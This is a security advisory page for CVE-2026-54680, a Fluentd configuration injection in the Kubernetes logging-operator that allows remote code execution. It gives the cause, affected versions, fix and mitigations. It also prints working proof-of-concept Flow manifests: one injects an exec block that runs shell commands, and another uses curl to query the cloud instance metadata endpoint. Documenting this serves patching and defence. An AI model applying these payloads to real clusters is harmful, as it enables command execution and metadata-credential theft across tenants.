CVE-2026-54680 is a critical-severity (CVSS 9.9) CWE-74 vulnerability in github.com/kube-logging/logging-operator. A fix is available for github.com/kube-logging/logging-operator — see the affected versions and patch details below.
Logging operator has Fluentd configuration injection that allows remote code execution
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-54680.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
CVE-2026-54680 by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.
Where this sits among everything scored
Of 384,189 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.
Real-World Exposure
github.com/kube-logging/logging-operatorReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The Fluentd configuration renderer in Logging operator writes strings from CRDs such as Flow directly into fluent.conf without escaping them. As a result, a user who can create Flow resources can inject Fluentd configuration by providing values that contain newlines.
In the confirmed path, a value in record_transformer.records can close the current <record> / <filter> block and add a new <match **> block. By specifying Fluentd's core @type exec plugin in that injected block, an attacker can execute arbitrary commands inside the Fluentd aggregator.
Details
The issue is in FluentRender in pkg/sdk/logging/model/render/fluent.go.
Each parameter is rendered as key value, but values are not quoted, and newlines or characters such as < and > are not rejected. In addition, indentedf builds the string with fmt.Sprintf and then splits it on \n, so newlines inside CRD values become new lines in the generated Fluentd configuration.
One input source is record_transformer.records. ToDirective passes Record (map[string]string) into Params without validation or escaping.
The config check in pkg/resources/fluentd/appconfigmap.go runs fluentd -c ... --dry-run, but it passes as long as the injected configuration is syntactically valid Fluentd configuration. @type exec is a core Fluentd plugin and is available in the official Fluentd image.
PoC
The prerequisite is that Logging operator is running with a Fluentd aggregator configuration and that the attacker can create Flow and Output resources in a watched namespace, for example tenant-a.
First, create a minimal Output as the log destination.
apiVersion: logging.banzaicloud.io/v1beta1
kind: Output
metadata:
name: sink
namespace: tenant-a
spec:
nullout: {}
Next, create a Flow whose record_transformer.records value contains an injected @type exec block.
apiVersion: logging.banzaicloud.io/v1beta1
kind: Flow
metadata:
name: exfil
namespace: tenant-a
spec:
match:
- select: {}
filters:
- record_transformer:
records:
- x: |-
y
</record>
</filter>
<match **>
@type exec
command /bin/sh -c "id > /tmp/pwned"
<format>
@type json
</format>
<buffer>
flush_interval 1s
</buffer>
</match>
<filter dummy.**>
@type record_transformer
<record>
absorbed y
localOutputRefs:
- sink
After applying the manifests, the Fluentd configuration Secret generated by the operator contains @type exec.
kubectl apply -f output.yaml -f flow.yaml
kubectl -n <control-namespace> get secret <logging>-fluentd-app \
-o go-template='{{ index .data "fluentd.conf" }}' \
| base64 -d | grep -A8 '@type exec'
When any Pod in tenant-a emits logs, those logs flow into the injected <match **> block. When out_exec flushes its buffer, the command is executed and can be confirmed as follows.
kubectl -n <control-namespace> exec <fluentd-aggregator-pod> -- cat /tmp/pwned
# expected:
uid=100(fluent) gid=101(fluent) groups=101(fluent)
Impact
This is remote code execution (RCE) against the Fluentd aggregator managed by Logging operator.
Because the Fluentd aggregator collects and routes logs for namespaces / tenants in the Logging domain, a user who can create Flow / Output resources in one namespace can execute arbitrary commands inside the shared aggregator.
In environments such as AWS EKS, the Fluentd Pod may be able to reach the node's Instance Metadata Service (IMDS). This was confirmed on EKS 1.35. The core issue is arbitrary command execution, so the same class of attack is possible even when IMDSv2 is required. The following Flow example uses IMDSv1 only to make reachability easy to demonstrate.
apiVersion: logging.banzaicloud.io/v1beta1
kind: Flow
metadata:
name: imds-poc
namespace: tenant-a
spec:
match:
- select: {}
filters:
- record_transformer:
records:
- x: |-
y
</record>
</filter>
<match **>
@type exec
command /bin/sh -c "curl -sS http://169.254.169.254/latest/meta-data/instance-id -o /tmp/imds-poc"
<format>
@type json
</format>
<buffer>
flush_interval 1s
</buffer>
</match>
<filter dummy.**>
@type record_transformer
<record>
absorbed y
localOutputRefs:
- sink
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/kube-logging/logging-operator | all versions | 0.0.0-20260608145523-cf437d7f1e05go get github.com/kube-logging/logging-operator@v0.0.0-20260608145523-cf437d7f1e05 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/kube-logging/logging-operator, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update github.com/kube-logging/logging-operator to 0.0.0-20260608145523-cf437d7f1e05 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-54680 is resolved across your whole dependency graph.
Workarounds
Stop passing untrusted input into the interpreter or shell: call the affected binary with an argument array rather than a composed command string, reject anything outside a strict allowlist of expected values, and run the component under an account that cannot reach beyond the work it legitimately does.
Frequently Asked Questions
Is CVE-2026-54680 in your dependencies?
Find it across Go, including transitive dependencies.